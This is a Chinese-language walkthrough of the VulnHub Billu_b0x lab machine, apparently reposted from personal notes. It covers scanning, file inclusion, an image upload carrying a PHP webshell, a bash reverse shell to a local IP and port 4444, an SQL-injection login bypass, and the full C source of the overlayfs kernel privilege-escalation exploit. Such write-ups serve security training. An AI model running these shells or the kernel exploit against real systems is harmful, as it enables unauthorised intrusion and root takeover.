PS:最近项目实在太忙了没时间出文章,拿以前的笔记水一篇吧。
靶机下载地址:https://download.vulnhub.com/billu/Billu_b0x.zip
可利用工具如下
Netdiscover(主机ip收集)
Masscan(端口收集)
Nmap(服务加端口)
netdiscover -i eth0 -r 192.168.9.0/24
sudo masscan --rate=10000 -p0-65535 192.168.9.128
sudo nmap -sV -T4 -O 192.168.9.128 -p 22,80
Dirb http://192.168.9.128
80目录提示用sql注入,但是利用手工语句和salmap无法进行利用
此处为虚假文件上传,选择文件上传后并没有相关的请求包,而是进行了页面的刷新
访问test文件发现,发现需要post file文件
利用firefox的hackbar进行数据的传递
/etc/passwd
Add.php
c.php
数据库链接密码
In.php
Index.php
文件包含查看index.php发现存在过滤
Panel.php
Panel文件如下所示,审计代码可发现里面存在文件包含
Test.php
var/www/phpmy/config.inc.php
访问in.php文件可以看到
文件包含查看源码
探测phpmyadmin目录
输入账号密码进行登录
登录首页
登录后页面如下
点击添加用户页面后,出现上传文件页面
下载uploaded/images目录下的图片,然后再后面添加一句话木马
直接上传文件,然后重新获取包
测试文件命令执行
利用bash 反弹shell
echo "bash -i >& /dev/tcp/192.168.9.129/4444 0>&1" | bash
直接无法进行执行,需要进行编码
端口监听 nc -lvnp 4444
监听成功
直接su命令,然后python -c ‘import pty;pty.spawn(“/bin/bash”)’,前面的文件包含里获取到了root用户的密码输入即可。
写入木马
写入木马 echo ‘<?php eval($_POST['123456');?>’ >>caidao.php
查看内核版本 uanme -a
查找相应的提权文件
提权代码
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sched.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/types.h> #include <signal.h> #include <fcntl.h> #include <string.h> #include <linux/sched.h> #define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n" static char child_stack[1024*1024]; static int child_exec(void *stuff) { char *file; system("rm -rf /tmp/ns_sploit"); mkdir("/tmp/ns_sploit", 0777); mkdir("/tmp/ns_sploit/work", 0777); mkdir("/tmp/ns_sploit/upper",0777); mkdir("/tmp/ns_sploit/o",0777); fprintf(stderr,"mount #1\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) { // workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) { fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n"); exit(-1); } file = ".access"; chmod("/tmp/ns_sploit/work/work",0777); } else file = "ns_last_pid"; chdir("/tmp/ns_sploit/o"); rename(file,"ld.so.preload"); chdir("/"); umount("/tmp/ns_sploit/o"); fprintf(stderr,"mount #2\n"); if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) { if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) { exit(-1); } chmod("/tmp/ns_sploit/work/work",0777); } chmod("/tmp/ns_sploit/o/ld.so.preload",0777); umount("/tmp/ns_sploit/o"); } int main(int argc, char **argv) { int status, fd, lib; pid_t wrapper, init; int clone_flags = CLONE_NEWNS | SIGCHLD; fprintf(stderr,"spawning threads\n"); if((wrapper = fork()) == 0) { if(unshare(CLONE_NEWUSER) != 0) fprintf(stderr, "failed to create new user namespace\n"); if((init = fork()) == 0) { pid_t pid = clone(child_exec, child_stack + (1024*1024), clone_flags, NULL); if(pid < 0) { fprintf(stderr, "failed to create new mount namespace\n"); exit(-1); } waitpid(pid, &status, 0); } waitpid(init, &status, 0); return 0; } usleep(300000); wait(NULL); fprintf(stderr,"child threads done\n"); fd = open("/etc/ld.so.preload",O_WRONLY); if(fd == -1) { fprintf(stderr,"exploit failed\n"); exit(-1); } fprintf(stderr,"/etc/ld.so.preload created\n"); fprintf(stderr,"creating shared library\n"); lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777); write(lib,LIB,strlen(LIB)); close(lib); lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"); if(lib != 0) { fprintf(stderr,"couldn't create dynamic library\n"); exit(-1); } write(fd,"/tmp/ofs-lib.so\n",16); close(fd); system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"); execl("/bin/su","su",NULL); }
提升文件权限 chmod 777 37292.c文件
生成对应的执行文件
提权至root
1、文件包含+ssh
var/www/phpmy/config.inc.php内发现root密码,靶机开放22端口,直接利用ssh连接root进行连接
2、Sql注入+文件包含 shell反弹
Index文件源码过滤和查询如下
$uname=str_replace('\'','',urldecode($_POST['un'])); $pass=str_replace('\'','',urldecode($_POST['ps'])); $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''; $result = mysqli_query($conn, $run);
然后构造万能密码进行登录’ or 1=1 – '或者or 1=1# pass=/
3、查看c.php文件,发现数据库连接密码,然后进行目录扫描,得到phpmyadmin页面,然后连接进入。